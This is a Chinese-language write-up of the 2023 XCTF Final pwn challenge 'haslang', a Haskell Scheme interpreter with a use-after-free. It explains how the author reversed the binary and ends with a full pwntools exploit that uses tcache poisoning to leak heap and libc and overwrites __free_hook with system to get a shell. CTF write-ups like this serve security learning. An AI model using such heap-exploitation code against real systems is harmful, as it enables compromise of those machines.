2023 XCTF Final Pwn haslang

一些废话: 比赛时先去看了 V8, 瞄了眼这题没什么想法后又跑去做 misc 了 (逃). 当时以为是什么打解释器的难题就先放了去做 shellgame, 结果啥都没做出来, 喜提零贡献 (逃).

先 patch 一下, 由于使用了线程, 所以还要把 libpthread.so.0 也放到 rpath 下.

丢 ida 里发现完全逆不了. 运行尝试输入, 比赛时貌似是输入了个加法表达式, 像 1 + 1 这种, 结果输出是 1. 然后我也不知道为什么就想到了可能是 lisp (或许是神仙舍友在写 lisp 解释器). 稍微试了一下 (+ 1 1) 这种, 果然输出正确. 尝试了一下不符合语法的输入如单个括号, 输出为

Parse error at "lisp" (line 1, column 2):
unexpected end of input
expecting letter, "\"", digit, "'", "(" or ")"

确实是 lisp 解释器.

然后就想怎么打这个解释器去了, 尤其是 e0n 说他找到个函数 (finger 后的) j_free 没将指针置零. 比赛时就断了断点在这, 试了一些语法, 就是触发不了这个 j_free, 然后就溜了

看了 WP 之后做的复现, 逆推总结一下这种题要怎么去找线索.

查找字符串. 主要是查找和解释器实现相关的字符串, 因为这题是 haskell 写的, 会有巨大多 haskell 的东西 (赛时翻到不想翻). 有一个小技巧, 输出肯定是字符串, 那么可以找输出的字符串如 >>>. 然后看这个字符串附近的字符串. 因为自己定义的字符串一般都是放在一起的, 这样就可以避免 haskell 的一堆东西的干扰.

比如这里就用 >>>. rizin 搜 iz | grep '>>>', 发现就是 rodata 的第一个字符串, (ida 比较蠢, 这个找不着)

搜索字符串
搜索字符串

发现 editChunk, showChunk, alloc, free 等关键字眼. (如果继续往下翻, 可以看到 src/SchemeParser.hs, src/Interpreter.hs 等字样, 可以知道这是 haskell 写的 scheme 解释器)

尝试在程序中输入 editChunk, showChunk, alloc, free 这些, 输出 <IO primitive>, 即 IO 原语. 尝试逆向无果, 根本找不到实现细节在哪个地方, 于是开始猜语法. 通过一些尝试和动态调试, 能够猜测出语法为:

  • (alloc x): malloc(x), 返回 <Point>
  • (free x): free(x), 返回 boolean, 表示成功与否
  • (showChunk x): 输出 chunk x 的内容, 不输出非 ascii 值. 返回 boolean, 表示成功与否.
  • (editChunk x off val): 编辑 chunk x 偏移 off 处的字节为 val (整数, 0 - 255), 返回 boolean, 表示成功与否.

lisp 定义变量用 define 原语, void *x = malloc(16) 等价于 (define x (alloc 16)), 然后就可以 (free x), (showChunk x) 这样.

尝试 free 两次或者 show 一个 free 过的变量, 可知漏洞为 UAF. 非常白给

打 tcache perthread struct poisoning.

一开始因为没开 PIE, 所以尝试分配到 got 表上去泄漏 libc. 但是之后再分配到 free hook 时就发生错误了. 可能是用了多线程的原因.

但是第一次分配到 tcache perthread struct 上就没有出错, 于是就想是不是分配到 heap 就不会出错, 测试了一下确实是这样. 所以在 heap 上找一个匿名映射区的地址, 计算与 libc 的偏移.

这里可以用 pwndbg 的 leakfind 非常方便找到地址: leakfind heap_addr --max_depth=1 --max_offset=0x10000:

leakfind
leakfind

还需要注意的是, 因为 showChunk 会跳过非 ascii 字符, 所以 leak heap 和 leak libc 都需要一定的爆破.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context(os='linux', arch='amd64')#, log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

n2b = lambda x    : str(x).encode()
rv  = lambda x    : io.recv(x)
ru  = lambda s    : io.recvuntil(s, drop=True)
sd  = lambda s    : io.send(s)
sl  = lambda s    : io.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
ia  = lambda      : io.interactive()
rop = lambda r    : flat([p64(x) for x in r])

def leakaddr(pre = None, suf = None, bit = 64, keepsuf = True, off = 0):
    u = {64: u64, 32: u32}
    num = 6 if bit == 64 else 4
    if pre is not None:
        ru(pre)
    if suf is not None:
        r = ru(suf)
        if keepsuf:
            r += suf
        r = r[-num:]
    else:
        r = rv(num)
    return u[bit](r.ljust(bit//8, b'\0')) - off

prompt      = b'>>> '
prompt_menu = prompt
prompt_idx  = prompt

op   = lambda x : sla(prompt_menu, n2b(x))
snap = lambda n : sna(prompt, n)
sidx = lambda x : sla(prompt_idx, n2b(x))
sap  = lambda s : sa(prompt, s)
slap = lambda s : sla(prompt, s)

def add(name, size):
    slap(f'(define {name} (alloc {size}))'.encode())

def edit(name, offset, s):
    for i, c in enumerate(s):
        slap(f'(editChunk {name} {offset + i} {c})'.encode())

def show(name):
    slap(f'(showChunk {name})'.encode())

def free(name):
    slap(f'(free {name})'.encode())

add('a', 0x240)
add('b', 0x240)
free('a')
free('b')
show('a')
show('b')

heap = leakaddr(suf=b'\n', keepsuf=False, off=0x128E) << 8
success(f'leak heap: {hex(heap)}')
if heap < 0:
    quit()

edit('b', 0, p64(heap + 0x10))
add('bin_sh', 0x240)
edit('bin_sh', 0, b'/bin/sh\0')
add('tcache', 0x240)

edit('tcache', 0, b'\x01')
edit('tcache', 0x40, p64(heap+0xc88))
add('libc', 0x10)
show('libc')
libc.address = leakaddr(suf=b'\n', keepsuf=False, off=-0xB5B0DC)
success(f'leak libc.address: {hex(libc.address)}')
if libc.address < 0x7f0000000000:
    quit()

edit('tcache', 0, b'\x01')
edit('tcache', 0x40, p64(libc.sym.__free_hook))
add('free_hook', 0x10)
edit('free_hook', 0, p64(libc.sym.system))
free('bin_sh')

ia()